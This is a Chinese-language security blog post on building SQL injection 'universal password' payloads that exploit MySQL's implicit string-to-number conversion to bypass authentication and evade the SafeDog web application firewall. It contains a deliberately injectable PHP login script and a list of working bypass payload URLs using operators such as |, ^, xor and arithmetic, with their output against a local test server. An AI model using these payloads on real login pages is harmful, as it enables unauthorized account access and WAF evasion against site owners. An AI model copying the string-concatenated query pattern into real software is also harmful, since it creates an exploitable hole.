探索Mysql最新过狗万能密码

0x00前言

设计mysql数据表时,通常用户名、密码的类型为varchar或者char,可以利用Mysql varchar或char类型同数字比较的自动转换机制,构造最新过狗(安全狗V3.5.12048)新型万能密码。先上一个payload尝鲜:'|0-- --,详细分析过程如下:

0x01 Mysql数据库varchar或者char与数字比较的Trick

数据结构如下所示(以varchar类型为例,char类型类似),Mysql版本号:5.7.21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> show columns from user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(50) | NO | | NULL | |
| username | varchar(500) | NO | | NULL | |
| password | varchar(500) | NO | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from user ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
| 3 | 3test | 3test |
| 4 | 4test | 4test |
+----+----------+----------+
4 rows in set (0.00 sec)

进行如下测试实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> select * from user where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where username=0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
+----+----------+----------+
2 rows in set, 1 warning (0.00 sec)

mysql> select * from user where username=3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | 3test | 3test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from user where username=4;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 4 | 4test | 4test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

由结果可知,Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。

0x02 构造过狗万能密码

一个常见的存在SQL注入的服务器,根据输入的用户名密码返回对应的用户信息,PHP代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "test";

$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}

$sql = "SELECT * FROM user where username='".$_GET['username']."' and password='".$_GET['password']."'" ;
var_dump($sql);

$result = $conn->query($sql);
if ($result and $result->num_rows>0) {
while($row = mysqli_fetch_assoc($result)) {
echo "id:".$row["id"]. "; username:".$row["username"]. "; password:".$row["password"]."<br>";
}
}
$conn->close();
?>

万能密码1

1
2
3
4
5
6
7
http://127.0.0.1/sql_test.php?username='|0-- --&password=1

# 输出为:
D:\wamp\www\sql_test.php:14:string 'SELECT * FROM user where username=''|0-- --' and password='1'' (length=61)

id:1; username:admin; password:admin
id:2; username:test; password:test

万能密码2(使用limit控制返回一条数据)

1
2
3
4
5
http://127.0.0.1/sql_test.php?username='|0 limit 0,1-- -- &password=1
# 输出为:
D:\wamp\www\sql_test.php:14:string 'SELECT * FROM user where username=''|0 limit 0,1-- -- ' and password='1'' (length=72)

id:1; username:admin; password:admin

万能密码3(根据用户名只返回admin的信息)

1
2
3
4
5
http://127.0.0.1/sql_test.php?username=admin&password='|0-- --
# 输出为:
D:\wamp\www\sql_test.php:14:string 'SELECT * FROM user where username='admin' and password=''|0-- --'' (length=65)

id:1; username:admin; password:admin

万能密码4(不需要注释符–)

1
2
3
4
5
http://127.0.0.1/sql_test.php?username=admin&password='|0|'
# 输出为:
D:\wamp\www\sql_test.php:14:string 'SELECT * FROM user where username='admin' and password=''|0|''' (length=62)

id:1; username:admin; password:admin

万能密码(同理,使用其他运算符也能达到相同的效果,汇总一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://127.0.0.1/sql_test.php?username='%2b0-- --&password=1
http://127.0.0.1/sql_test.php?username='-0-- --&password=1
http://127.0.0.1/sql_test.php?username='*0-- --&password=1
http://127.0.0.1/sql_test.php?username='/1-- --&password=1
http://127.0.0.1/sql_test.php?username='^0-- --&password=1
http://127.0.0.1/sql_test.php?username='%260-- --&password=1
http://127.0.0.1/sql_test.php?username='|0-- --&password=1
http://127.0.0.1/sql_test.php?username='xor 1-- --&password=1
http://127.0.0.1/sql_test.php?username='%1-- --&password=1
http://127.0.0.1/sql_test.php?username='=0-- --&password=1
http://127.0.0.1/sql_test.php?username='>=0-- --&password=1
http://127.0.0.1/sql_test.php?username='<=0-- --&password=1
http://127.0.0.1/sql_test.php?username='<<0-- --&password=1
http://127.0.0.1/sql_test.php?username='>>0-- --&password=1

ps:其中除法运算,除数不能为0,输入为'/1-- --相当于0/1等于0;求余运算,底数不能为0,输入%1-- --相当于0%1等于0。根据实际环境利用方式可自由变换

过狗测试

如图所示,防护日志中,逻辑||运行会被安全狗拦截,而上面的+,-,*,/,^,|,XOR,%,=,>=,<=,<<,>>等运算均可以完美绕过安全狗的防护。
bypass 安全狗